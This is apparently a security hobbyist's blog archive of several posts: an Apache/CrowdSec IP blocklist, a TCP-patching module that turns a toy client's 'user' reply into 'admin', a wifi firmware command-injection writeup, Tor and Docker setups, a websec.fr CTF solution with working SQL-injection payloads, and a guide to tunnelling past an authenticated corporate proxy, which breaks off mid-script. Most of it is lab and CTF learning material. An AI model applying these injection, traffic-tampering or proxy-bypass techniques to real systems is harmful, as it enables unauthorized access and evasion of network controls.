Block malicious IP behind reverse proxy with Apache2 and Crowdsec

Block IP crowdsec apache2 x-forwarded-for

Purpose

Block malicious incoming IP with Apache2 behind a reverse proxy using X-Forwarding-For and Crowdsec solution.
It’s not a Crowdsec help installation. Read the documentation for that :D, browse Internet, we hope you already know the solution.

You need to have a Apache2 installation of course.

Architecture

Configuration

Your web server is behind a reverse proxy and the only IP he see is the reverse proxy one. You need to activate X-Forwarded-For HTTP header to add client IP in HTTP query. Now, you need to configure Apache2 to logs X-ForWarded-For IP instead of reverse proxy IP. There is multiple example on Internet but basically you can replace :

LogFormat "%h %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

by

LogFormat "%{X-Forwarded-For}i %l %u %t \"%r\" %>s %b \"%{Referer}i\" \"%{User-Agent}i\"" combined

in apache2.conf/httpd.conf

Now you can install Crowdsec to your server to protect you from attack. Here is the documentation : install crowdsec

Normally Crowdsec install the right Collections (parsers and scenarios) to ingest your Apache2 logs (access.log).

# cscli collections list

check you see Apache2, base-http-scenario, http-cve

# cscli parsers list

check you see apache2-logs, dataparse-enrich, goip-enrich, http-logs, syslog-logs

# cscli scenarios list

a lot …

At this point Crowdsec will process the logs and make decisions/alerts (# cscli metrics).
Now we are going to install custom-bouncer in Crowdsec, all is here https://doc.crowdsec.net/docs/bouncers/custom/.
When the installation is done we are going to create a folder

# mkdir /etc/crowdsec/custom-script

and add this script blocklist.sh with vi, vim , nano …

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
 #!/bin/bash
# 0x25

logpath='/tmp/blocklist.log'
filepath='/etc/apache2/blocklist.txt'
tmpfilepath='/tmp/blocklist.tmp'

action=''
ip=''
duration=''
reason=''
json=''

# check action
if [[ "$1" != "add" && "$1" != "del" ]]; then
echo "$(date) - Error: first arg need to be add or del - $@" >> $logpath
exit 1
fi
action=$1

# check IP IPV4
if ! [[ "$2" =~ ^[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}\.[0-9]{1,3}$ ]]; then
echo "$(date) - Error: seconf arg need to be an IPv4 - $@" >> $logpath
exit 1
fi
ip=$2

# check time
if ! [[ "$3" =~ ^[-0-9]+$ ]]; then
echo "$(date) - Error: third arg need to be an integer - $@" >> $logpath
exit 1
fi

duration=$3
reason=$4
json=$5


if [[ "$action" == "add" ]]; then
# Add IP
if ! grep -q -F $ip $filepath; then
echo "$(date) - Info: add $ip" >> $logpath
echo "$ip b" >> $filepath
else
echo "$(date) - Warning: add $ip already exist" >> $logpath
fi
else
# Del IP
echo "$(date) - Info: del $ip" >> $logpath
pattern="$ip b"
sed "/$pattern/d" $filepath > $tmpfilepath
cp $tmpfilepath $filepath
fi

disable script log in production

# chmod +x blocklist.sh

configure the custom-bouncer by editing the file

# /etc/crowdsec/bouncers/crowdsec-custom-bouncer.yaml.local

it depend on your installation but if the file not exist edit the file without .local

Edit

bin_path: /etc/crowdsec/custom-script/blocklist.sh
api_key: <follow doc>

now restart crowdsec

# systemctl restart crowdsec.service

Normally you will see a file in /etc/apache2/ with name bloacklist.txt with data like

blocklist

1.2.3.4 b
2.3.4.5 b
...

If there is no file you need to check the logs (Crowdsec custom bouncer and blocklist.sh)

Now we need to configure Apache2 to use this list and block income traffic \o/

install modrewrite

# a2enmod rewrite

edit apache2.conf/httpd.conf and add

active "AllowOverride All"

add

1
2
3
4
RewriteEngine On
RewriteMap blocklist txt:/etc/apache2/blocklist.txt
RewriteCond ${blocklist:%{HTTP:X-Forwarded-For}} ^b$ [NC]
RewriteRule .* - [F,L]

/!\ change apache 2 to httpd if needed

restart apache2

# systemctl restart apache2

and it is finish :), have fun.

demo

Patch TCP packets on the fly

tcp

Purpose

Some time ago I had an application (not web) on a laptop (not admin) which was connected with a remote server. After some research I can change a config file to set a new IP:PORT for the server. With this change, I can intercept the trafic and send it back to the server with tcpproxy.py tool. It help the use of wireshark to look at the traffic and to perfom action.

Some code

For this post I coded a client / server to replicate what I got.

client.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
import socket
import argparse
from itertools import cycle

default_login = 'user'
default_data = 'Hello server'
key = 'R9pRCDwWG8hw7BYg3wv3tZY'

parser = argparse.ArgumentParser()
parser.add_argument('-l','--login', default=default_login, help='user type [user] or admin')
parser.add_argument('-d','--data', default=default_data, help='data send to server')
args = parser.parse_args()

data_input = args.data
user_type = args.login

def xor(message,key):
cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(message, cycle(key)))
return cryptedMessage


f = open("client_config.txt", "r")
server = f.readline()

ADRESSE = server.split(':')[0]
PORT = int(server.split(':')[1])

# Create a client socket
clientSocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

# Connect to the server
clientSocket.connect((ADRESSE,PORT))

# Send data to server
data = f"{user_type}|{data_input}"
data = xor(data,key)


clientSocket.send(data.encode())

# Receive data from server
dataFromServer = clientSocket.recv(1024)

# Print to the console
xor_output = dataFromServer.decode()

output = xor(xor_output,key)
if output.find('userType:1') == 0:
print("you are ADMIN! (userType:1)")

if output.find('userType:0') == 0:
print("you are user :/ (userType:0)")

client_config.txt

1
127.0.0.1:6781

server.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
import socket
from signal import signal, SIGINT
from sys import exit
from itertools import cycle

# xor key
key = 'R9pRCDwWG8hw7BYg3wv3tZY'

def xor(message,key):
cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(message, cycle(key)))
return cryptedMessage

def handler(signal_received, frame):
# Handle any cleanup here
print('SIGINT or CTRL-C detected. Exiting gracefully')
exit(0)

signal(SIGINT, handler)

ADRESSE = '127.0.0.1'
PORT = 6781

server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
server.bind((ADRESSE, PORT))
server.listen()

while True:
client, adresseClient = server.accept()
print('Connection from ', adresseClient)
data_rcv = client.recv(1024)

if not data_rcv:
print('Reception error')

else:
print('Reception of:' + data_rcv.decode())
data = xor(data_rcv.decode(),key)
print(f'unxor {data}')
datas = data.split('|')
user = datas[0]

if user == 'admin':
response = 'userType:1;userRight:11111'
else:
response = 'userType:0:userRight:00000'

response = response + ';randomId:666;randomValue:nodata;someField:' + datas[1]
xor_response = xor(response,key)
n = client.send(xor_response.encode())

if (n != len(response)):
print('Send error')
else:
print('Send ok.')

Analyse

diagram

The information in packets is obfuscated.
By default the server listen on 6781.

If we look at the server output, in wireshark, we can notice some change in the same place :

tcp flow

  1. request from server when logged as user
  2. request from server when logged as admin

The idea is « what happen if we change the server answer to match a admin response from a user request ? »
We are going to try to do this :). Like I say before we can use tcpproxy.py to patch tcp server response.

Patch TCP packet

mitm diagram

So we edit the client_config.txt to set the tcpproxy listen port and run it.

./tcpproxy.py -ti 127.0.0.1 -tp 6781 -li 127.0.0.1 -lp 8888 -om hexdump -im hexdump

tcpproxy

View of hexdump from tcpproxy.py : first the user connection and after the admin.
tcpproxy.py have the possibility to add module.

patch.py (add in tcpproxy/proxymodules)

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/usr/bin/env python3
import os.path as path
import re
from itertools import cycle

class Module:
def __init__(self, incoming=False, verbose=False, options=None):
# patch tcp flow
self.name = path.splitext(path.basename(__file__))[0]
self.description = 'Patch tcp'
self.incoming = incoming # incoming means module is on -im chain
self.start = 46
self.end = 66
self.str = b'\x09'
self.patch = b''
self.key = 'R9pRCDwWG8hw7BYg3wv3tZY'

def xor(self,data):
cryptedMessage = ''.join(chr(ord(c)^ord(k)) for c,k in zip(data, cycle(self.key)))
return cryptedMessage

def help(self):
return '\tPatch TCP and more'

def execute(self, data):
packets = bytearray(data)
out = self.xor(data.decode())
print(f"unxor data: {out}")

if bytes(packets[6:11]).hex() == '07327d0852': # test hex signature to detect user packet
print('> PATCH USER TO ADMIN')
packets[9] = 9 # patch user to admin

return packets

if __name__ == '__main__':
print ('This module is not supposed to be executed alone!')

No we run the command:

./tcpproxy.py -ti 127.0.0.1 -tp 6781 -li 127.0.0.1 -lp 8888 -om hexdump,patch

tcpproxy patch

  1. server response
  2. tcpproxy patch repsonse

patched

The client.py think we are admin \o/

demo time

Zero-day in industrial wifi equipment

reverse

cd# Purpose

Explain how I find a zero-day in a wifi device.
I was working to find vulnerabilities in a web interface of a wifi device. After some time I decide to reverse the firmware ;) to have access to the code on the server.

fake picture

Prerequisite

Get the firmware and extract data

The upgrade is available on the website of the manufacturer in the support>download-center page.
The upgrade file is a ZIP file. The archive contain :

unzip archive

What we want is in .bin file.

file .bin

We are going to extract data from this .bin file with binwalk

binwalk

If you try the command without installing jefferson you will get an error. And you need to extract manually the .jffs2 file with the tool.

extracted data

Now we have a jffs2-root folder \o/

list folders

We see a linux system.

Find a vulnerability

After a long time to search, understand where files are and read LUA code … I found something interesting.

vulnerability

  1. the code grep a value from a HTTP form and put it in var radio
  2. the code call an internal script and concatenate it with the var radio

There is no sanitize in the radio value.

web site

Let’s try to inject some value

Burp

We can see that the wifi system run the Ping command \o/, we have an RCE. Next step, get a shell on busybox :)

Create your hidden Tor service with unix socket

tor hidden service

Purpose

Create a hidden Tor service with unix socket.
Unix domain sockets can provide an additional layer of isolation protection.

To do your own service you need Tor and a webserver (Nginx for this example).

You can use my prevent post to generate ubuntu docker and access it with simple SSH \o/

Install

First install to on your server:

1
2
3
4
sudo apt update
sudo apt upgrade
sudo apt install -y tor nginx php-fpm screen
#sudo apt install nano #optionnal

Configure Nginx

Create a configuration in /etc/nginx/sites-available/

1
2
3
cd /etc/nginx/sites-available/
sudo touch tor

Put your tor webserver configuration in this file:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
server {

#listen 127.0.0.1:80;
listen unix:/var/run/nginx-tor.sock;

root /var/www/html/tor/;

index index.html index.php;

server_name _;
#server_name lcr[...]vijybok6d2yepvyqd.onion;

access_log /var/log/nginx/tor-access.log;
error_log /var/log/nginx/tor-error.log;


location / {
try_files $uri $uri/ =404;
}

if ($request_method !~ ^(GET|HEAD|POST)$ ){
return 405;
}

location ~ \.php$ {
include snippets/fastcgi-php.conf;
fastcgi_pass unix:/var/run/php/php7.4-fpm.sock;
}
}

enable tor site in Nginx :

1
sudo ln -s /etc/nginx/sites-available/tor /etc/nginx/sites-enabled/

Start php-fpm service :

1
sudo service php7.4-fpm start

Create a simple web page:

1
2
3
4
cd /var/www/html
sudo mkdir tor
cd tor
sudo nano index.php

Add :

1
2
3
4
5
<?php

echo uniqid('My-tor-portal::', true);

?>

To get some content ;)

Set right on portal files/folders

1
sudo chown -R www-data:www-data tor

Start nginx server:

1
sudo service nginx start

Configure Tor

configure /etc/tor/torrc file

1
2
3
4
5
6
sudo nano /etc/tor/torrc

# add in section "This section is just for location-hidden services"

HiddenServiceDir /var/lib/tor/myService/
HiddenServicePort 80 unix:/var/run/nginx-tor.sock

Your service files will be in “/var/lib/tor/myService”.

Start Tor

1
2
3
4
5
screen -S tor
sudo -u debian-tor tor -f /etc/tor/torrc
[...]
MMM xx 13:50:59.000 [notice] Bootstrapped 95% (circuit_create): Establishing a Tor circuit
MMM xx 13:51:00.000 [notice] Bootstrapped 100% (done): Done
  • [CTRL+A and CTRL+D] to exit screen without kill it and run command in background
  • screen -ls to show your screen session
  • screen -r tor to attach your session

Find your Tor URL

1
2
sudo cat /var/lib/tor/myService/hostname
xbt52kwof7g32bxrbznefvtotc3lpzcxtfagbbny2hmpzzcmch6iivyd.onion

Edit nginx configuration to match hostname :

1
2
3
4
5
6
7
8
sudo nano /etc/nginx/sites-ava
# change server_name _; by your onion address
server_name xbt52kwof7g32bxrbznefvtotc3lpzcxtfagbbny2hmpzzcmch6iivyd.onion;

# save file
# stop nginx : sudo service nginx stop
# sudo rm /var/run/nginx-tor.sock
# restart nginx : sudo nginx start

Now you can access your service with tor-browser, Brave, socks5 …

tor hidden service access

In case you want to test if your unix socket work you can run :

1
curl --unix-socket /var/run/nginx-tor.sock http:/index.php

Docker SSH on the fly

Docker SSH on the fly

purpose

Create an image, a script and a bit of local configuration to pop SSH container on the …. fly.

prerequisite

Have docker installed.

Create a folder to start the project and add configFiles/

Create configFiles/bashrc

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
# ~/.bashrc: executed by bash(1) for non-login shells.
# see /usr/share/doc/bash/examples/startup-files (in the package bash-doc)
# for examples

# If not running interactively, don't do anything
case $- in
*i*) ;;
*) return;;
esac

# don't put duplicate lines or lines starting with space in the history.
# See bash(1) for more options
HISTCONTROL=ignoreboth

# append to the history file, don't overwrite it
shopt -s histappend

# for setting history length see HISTSIZE and HISTFILESIZE in bash(1)
HISTSIZE=1000
HISTFILESIZE=2000

# check the window size after each command and, if necessary,
# update the values of LINES and COLUMNS.
shopt -s checkwinsize

# If set, the pattern "**" used in a pathname expansion context will
# match all files and zero or more directories and subdirectories.
#shopt -s globstar

# make less more friendly for non-text input files, see lesspipe(1)
[ -x /usr/bin/lesspipe ] && eval "$(SHELL=/bin/sh lesspipe)"

# set variable identifying the chroot you work in (used in the prompt below)
if [ -z "${debian_chroot:-}" ] && [ -r /etc/debian_chroot ]; then
debian_chroot=$(cat /etc/debian_chroot)
fi

# set a fancy prompt (non-color, unless we know we "want" color)
case "$TERM" in
xterm-color|*-256color) color_prompt=yes;;
esac

# uncomment for a colored prompt, if the terminal has the capability; turned
# off by default to not distract the user: the focus in a terminal window
# should be on the output of commands, not on the prompt
#force_color_prompt=yes

if [ -n "$force_color_prompt" ]; then
if [ -x /usr/bin/tput ] && tput setaf 1 >&/dev/null; then
# We have color support; assume it's compliant with Ecma-48
# (ISO/IEC-6429). (Lack of such support is extremely rare, and such
# a case would tend to support setf rather than setaf.)
color_prompt=yes
else
color_prompt=
fi
fi

# custom
IP=$(tac /etc/hosts | head -n 1 | awk '{print $1}')
if [ ! -f .colorc ]; then
COLOR=$((1 + $RANDOM % 256))
echo -ne $COLOR > .colorc
else
COLOR=$(cat .colorc)
fi

if [ "$color_prompt" = yes ]; then
PS1='${debian_chroot:+($debian_chroot)}\[\033[48;5;${COLOR}m\](Docker)\[\033[00m\]\[\033[01;95m\] \u@${IP}\[\033[00m\]:\[\033[01;34m\]\w\[\033[00m\]\$ '
else
PS1='${debian_chroot:+($debian_chroot)}\u@\h:\w\$ '
fi
unset color_prompt force_color_prompt

# If this is an xterm set the title to user@host:dir
case "$TERM" in
xterm*|rxvt*)
PS1="\[\e]0;${debian_chroot:+($debian_chroot)}\u@\h: \w\a\]$PS1"
;;
*)
;;
esac

# enable color support of ls and also add handy aliases
if [ -x /usr/bin/dircolors ]; then
test -r ~/.dircolors && eval "$(dircolors -b ~/.dircolors)" || eval "$(dircolors -b)"
alias ls='ls --color=auto'
#alias dir='dir --color=auto'
#alias vdir='vdir --color=auto'

alias grep='grep --color=auto'
alias fgrep='fgrep --color=auto'
alias egrep='egrep --color=auto'
fi

# colored GCC warnings and errors
#export GCC_COLORS='error=01;31:warning=01;35:note=01;36:caret=01;32:locus=01:quote=01'

# some more ls aliases
alias ll='ls -alF'
alias la='ls -A'
alias l='ls -CF'

# You may want to put all your additions into a separate file like
# ~/.bash_aliases, instead of adding them here directly.
# See /usr/share/doc/bash-doc/examples in the bash-doc package.

if [ -f ~/.bash_aliases ]; then
. ~/.bash_aliases
fi

# enable programmable completion features (you don't need to enable
# this, if it's already enabled in /etc/bash.bashrc and /etc/profile
# sources /etc/bash.bashrc).
if ! shopt -oq posix; then
if [ -f /usr/share/bash-completion/bash_completion ]; then
. /usr/share/bash-completion/bash_completion
elif [ -f /etc/bash_completion ]; then
. /etc/bash_completion
fi
fi

Create a configFiles/sudoers

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
#
# This file MUST be edited with the 'visudo' command as root.
#
# Please consider adding local content in /etc/sudoers.d/ instead of
# directly modifying this file.
#
# See the man page for details on how to write a sudoers file.
#
Defaults env_reset
Defaults mail_badpass
Defaults secure_path="/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/snap/bin"

# Host alias specification

# User alias specification

# Cmnd alias specification

# User privilege specification
root ALL=(ALL:ALL) ALL

# Members of the admin group may gain root privileges
%admin ALL=(ALL) ALL

# Allow members of group sudo to execute any command
%sudo ALL=(ALL) NOPASSWD: ALL

# See sudoers(5) for more information on "#include" directives:

#includedir /etc/sudoers.d

Add your SSH public key and paste it to configFiles/id_rsa.pub

Finally :

1
2
3
4
configFiles/
├── bashrc
├── id_rsa.pub
└── sudoers

Image

first create a Dockerfile

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
FROM ubuntu

# Update and install component
RUN apt-get update
RUN apt-get -y install openssh-server sudo

# add sudoers right
ADD configFiles/sudoers /etc/sudoers
RUN mkdir /var/run/sshd; chmod 755 /var/run/sshd

# create a local user
RUN groupadd local
RUN useradd -m -s /bin/bash -g local -G sudo -u 1000 local
RUN mkdir /home/local/.ssh; chmod 700 /home/local/.ssh

# add bashrc with cool prompt
ADD configFiles/bashrc /home/local/.bashrc
ADD configFiles/bashrc /root/.bashrc

# add your public SSH key
ADD configFiles/id_rsa.pub /home/local/.ssh/authorized_keys
RUN chmod 600 /home/local/.ssh/authorized_keys
RUN chown -R local:local home/local

# remove some file to get a clean start
RUN rm /etc/update-motd.d/*
RUN rm /etc/legal
RUN touch /home/local/.sudo_as_admin_successful

# start SSH
EXPOSE 22
CMD ["/usr/sbin/sshd","-D"]

Now to create the image run :

1
docker build -t docker_ssh --label latest --pull .

This will create the image : docker_ssh:latest

SSH config

Configure your .ssh/config file (create or modify), and add

1
2
3
4
5
Host 172.17.*.*
User local
StrictHostKeyChecking no
IdentityFile ~/.ssh/id_rsa.pkey
LogLevel QUIET

for the IP 172.17.0.0/16 (default docker range)
use user “local”
don’t check the key (on local env only)
use your private key (change if needed)
no log

Bash script to start SSH container on the fly

startDocker_ssh.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
#!/bin/bash

docker_name="ssh"
docker_image='docker_ssh'

# help
usage(){
echo "-n [name] for the docker name prefix, default : ${docker_name}"
echo "-l for the number of docker, default : 1"
echo "-i for the docker image name , default : ${docker_image}"
echo "-h for the help"
exit 1
}

random_id(){
echo $(cat /dev/random | tr -dc 'a-zA-Z0-9' | fold -w 4 | head -n 1)
}
loop=1

while getopts ":n:i:l:h" options; do

case "${options}" in
h)
usage
exit
;;
n)
docker_name=${OPTARG}
;;
i)
docker_image=${OPTARG}
;;
l)
loop=${OPTARG}
re_isanum='^[0-9]+$'
if ! [[ $loop =~ $re_isanum ]]; then

echo "Error: i must be a num"
usage
exit 2
elif [ $loop -eq "0" ]; then

echo "Error: i must be > 0"
usage
exit 3
fi
;;
:)
echo "Error: -${OPTARG} requires an argument."
usage
exit 4
;;
*)
echo "Error: fail option..."
usage
;;
esac
done

ips=()

for (( c=1; c<=$loop; c++ )); do

id=$(random_id)
name="${docker_name}_${id}"
#echo "Create docker : [$name]"
uuid=$(docker run -d --name $name $docker_image)
#echo "$uuid"
ips+=($(docker inspect -f '{{range.NetworkSettings.Networks}}{{.IPAddress}}{{end}}' $uuid))
echo -ne "."
done

echo ""

for ip in "${ips[@]}"; do
echo "ssh $ip"
done

The script start x ssh local server \o/

stopDocker_ssh.sh

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
#!/bin/bash

name='ssh_'

function usage(){

echo "-n [name] filter prefix to delete, default value: $name"
echo "-h show help"
}


while getopts ":n:h" options; do

case "${options}" in
h)
usage
exit
;;
n)
name=${OPTARG}
;;
:)
echo "Error: -${OPTARG} requires an argument."
usage
exit 4
;;
*)
echo "Error: fail option..."
usage
;;
esac
done


# docker stop all containers
docker stop $(docker ps -a -q -f name=$name) >/dev/null

# Docker rm all
docker rm $(docker ps -a -q -f name=$name) >/dev/null

This script stop and remove all docker how match “ssh_”

docker ssh gif

Now you can put this Bash script into your PATH ;)

Load Balance Socks5 with Nginx

LoadBalance socks5 with nginx

purpose

Using nginx to load balance traffic through multiple socks5 proxies.

LB nginx socks5

prerequisite

Nginx with the ngx_stream_core_module module .It is available since version 1.9.0.
You can use

1
nginx -V

to check if you have the correct version. Look at https://docs.nginx.com/nginx/admin-guide/installing-nginx/installing-nginx-open-source/#prebuilt_debian if you need to install the correct version.

You can check here for socks5.

configuration

By default nginx.conf is configured for http module.
So we need to change the configuration.

1
2
mkdir /etc/nginx/stream.d

Edit Nginx configuration

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
cat nginx.conf                                                                 

user nginx;
worker_processes 1;

error_log /var/log/nginx/error.log warn;
pid /var/run/nginx.pid;


events {
worker_connections 1024;
}


http {
include /etc/nginx/mime.types;
default_type application/octet-stream;

log_format main '$remote_addr - $remote_user [$time_local] "$request" '
'$status $body_bytes_sent "$http_referer" '
'"$http_user_agent" "$http_x_forwarded_for"';

access_log /var/log/nginx/access.log main;

sendfile on;
#tcp_nopush on;

keepalive_timeout 65;

#gzip on;

include /etc/nginx/conf.d/*.conf;
}

# add stream config
stream {

log_format basic '$remote_addr:$remote_port $upstream_addr [$time_local] '
'$protocol $status $bytes_sent $bytes_received '
'$session_time';

access_log /var/log/nginx/stream-access.log basic;

include /etc/nginx/stream.d/*.conf;
}

We add the stream{…} with some default configuration in it, like logs and stream.d folder.

Now edit a file in stream.d name it ‘default.conf’ or ‘whatever.conf’

1
2
3
4
5
6
7
8
9
10
11
12
13
upstream stream_socks5 {
server 127.0.0.1:1080;
server 127.0.0.1:1081;
server 127.0.0.1:1082;
server 127.0.0.1:1083;
# ...
}

server {
listen 127.0.0.1:3333;
proxy_pass stream_socks5;
}

In stream_socks5 add the proxy socks5 you have, one by line. In this configuration I have 4 local ssh proxy socks5.

Start SSH socks5. I create a small bash script for this

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
#!/bin/bash

# config
ssh_key_path='/home/kali/.ssh/superKey.pkey'
user='ssh_user'

ssh_servers=$(cat <<EOF
ssh.server.com:22
ssh2.someServer.com:22
x.x.x.x:2222
EOF
)

port_inc=1080

# code

for server in $ssh_servers; do

ip=$(echo $server | awk -F ":" '{print $1}')
port=$(echo $server | awk -F ":" '{print $2}')

# ssh local socks5
ssh -D $port_inc -C -N -f -i $ssh_key_path $user@$ip -p $port

port_inc=$(($port_inc+1))

done

pgrep -f 'ssh -D'
netstat -tanlp | grep 127.0.0.1
# kill
# pkill -f 'ssh -D'

Normally it start all the local port like

1
2
3
tcp        0      0 127.0.0.1:1082          0.0.0.0:*               LISTEN      7296/ssh            
tcp 0 0 127.0.0.1:1080 0.0.0.0:* LISTEN 7280/ssh
tcp 0 0 127.0.0.1:1081 0.0.0.0:* LISTEN 7288/ssh

restart nginx service

1
sudo service nginx restart

run multiple time

1
curl --socks5 127.0.0.1:3333 http://myexternalip.com/raw

Normally the IP address change.

You can use this proxy socks5 in

  • Browser
  • proxychains4
  • curl

By default nginx use round robin to load balance stream.
You can look at https://docs.nginx.com/nginx/admin-guide/load-balancer/tcp-udp-load-balancer/ if you want to add UDP and change some configuration.

WebSec Capitain Flag

ctf

Informations

Websec.fr is a great website to perform PHP code review. There are ~28 challenges with different difficulty levels ;)

Captain flag

captain flag

It is a form. The input is an int.

The interesting part of the code is in the ‘sanitize‘ function

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

function sanitize($id, $table) {
/* Rock-solid: https://secure.php.net/manual/en/function.is-numeric.php */
if (! is_numeric ($id) or $id < 2) {
exit("The id must be numeric, and superior to one.");
}

/* Rock-solid too! */
$special1 = ["!", "\"", "#", "$", "%", "&", "'", "*", "+", "-"];
$special2 = [".", "/", ":", ";", "<", "=", ">", "?", "@", "[", "\\", "]"];
$special3 = ["^", "_", "`", "{", "|", "}"];
$sql = ["union", "0", "join", "as"];
$blacklist = array_merge ($special1, $special2, $special3, $sql);
foreach ($blacklist as $value) {
if (stripos($table, $value) !== false)
exit("Presence of '" . $value . "' detected: abort, abort, abort!\n");
}
}

if (isset ($_POST['submit']) && isset ($_POST['user_id']) && isset ($_POST['table'])) {
$id = $_POST['user_id'];
$table = $_POST['table'];

sanitize($id, $table);

$pdo = new SQLite3('database.db', SQLITE3_OPEN_READONLY);
$query = 'SELECT id,username FROM ' . $table . ' WHERE id = ' . $id;
//$query = 'SELECT id,username,enemy FROM ' . $table . ' WHERE id = ' . $id;

$getUsers = $pdo->query($query);
$users = $getUsers->fetchArray(SQLITE3_ASSOC);

$userDetails = false;
if ($users) {
$userDetails = $users;
$userDetails['table'] = htmlentities($table);
}
}

First it check if $id is_numeric and $id>2
Second it check if the is no ‘special string’ (blacklist) in table name.

We can see that the SQL query is concatenate string and that always bad (SQLi) and it is recommended to use ‘prepared statement‘.

In CTF there’s no hazard so column ‘enemy’ is an information. We can imagine we need to find the value enemy in id 1 \o/

I do some simple test to try to inject the table value but nothing worked :/
So I try to bypass the $id with:

  • big int
  • 0e11111 value

but nothing work :/

So I return on SQL injection tests, on table name.
It is possible to inject some query in table field in HTTP Post submit (Burp is your friend) with:

Spoiler warning
1
2
3
4
5
6
7
8
user_id=2&table=(select id,username from costume)&submit=Submit

# this one work to
user_id=2&table=(select id,username from costume where id like 2)&submit=Envoyer

# this work on my sql test but not on websec (blacklist '+' and 'as')
user_id=2&table=(select id+1 as id,username from costume where id like 1)&submit=Envoyer

But this don’t bypass the filter to access the id=1.

I try a time base SQLi

1
select * from (select id,username from costume where id like 1 and substr(username,1,1) like CHAR(0X37) and randomblob(100000000) ) 

It work on sqliteonline but not on websec :/

After reading multiple post on the web I find THIS. In Sqlite ‘AS’ is not mandatory in column name alias.

1
2
3
SELECT StudentName 'Student Name' FROM Students;
# is the same as
SELECT StudentName 'Student Name' FROM Students;

So we can try to bypass the id column with this information and what we find before.

You can use the code SQL to generate your own Table and do some test

1
2
3
4
5
6
CREATE TABLE costume (id integer primary key, username varchar(20), enemy varchar(20) );

insert into costume (username,enemy) VALUES ("Cap'tain flag",'{FLAG}');
insert into costume (username,enemy) VALUES ('Spiderman','Green Goblin');
insert into costume (username,enemy) VALUES ('Batman','The Joker');
insert into costume (username,enemy) VALUES ('Superman','Lex Luthor');
Spoiler warning
1
2
3
4
5
6
7
8
9
user_id=222&table=(select 222 id,username from costume)&submit=Envoyer
# output Batman ??? don't understand why ... Captain is the value
expected !? Oo

user_id=222&table=(select 222 id,enemy username from costume)&submit=Envoyer
# output the flag

# more elegant
user_id=222&table=(select 222 id,enemy username from costume where id like 1)&submit=Envoyer

HTTPS Tunneling

header

Purpose

Bypass authenticated proxy by using HTTPS/TLS tunnel.

architecture

Prerequisite

We need a server on Internet. A simple VPS is enough.
Or maybe your own Internet access with the right configuration (port redirection …). Client need to be behind a proxy with NTLM authentication.
To create the tunnel we need this tools SSF and cntlm.
Install :

  • SSF on both side (client and server) (linux/windows…)
  • cntlm on client side (linux)

Install & config

Install

1
2
3
4
5
sudo apt update
sudo apt install cntlm
#sudo apt install openssl libssl1.0.0 libssl-dev
wget https://github.com/securesocketfunneling/ssf/releases/download/3.0.0/ssf-linux-x86_64-3.0.0.zip -O ssf.zip
unzip ssf.zip

Configure cntlm (client)

1
2
# generate ntlm hash to configure /etc/cntlm.conf
cntlm -H -d <domaine_AD> -u <user>

Example:

1
2
3
4
5
cntlm -H -d customerDomain.in -u user  
Password:
PassLM FE03A594184396D6552C4BCA4AEBFB11
PassNT F3496B77FA086840D57D7F868C476AC8
PassNTLMv2 6614D6CFED66810F39A6FB6518F7AD56 # Only for user 'user', domain 'customerDomain.in'

Edit /etc/cntlm.conf, paste the code (at the right place) and set the IP:port of the proxy.

Start proxy

1
sudo service cntlm start

By default cntlm listen on 127.0.0.1:3128.

Configure ssf (client)

To use ssf you need to generate some files.
You can use these command lines to generate them :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
#!/bin/bash
# chmod +x

folder='certs'
keySize='1024'

mv certs certs.old.$RANDOM &> /dev/null

mkdir $folder
mkdir $folder/trusted

cd $folder

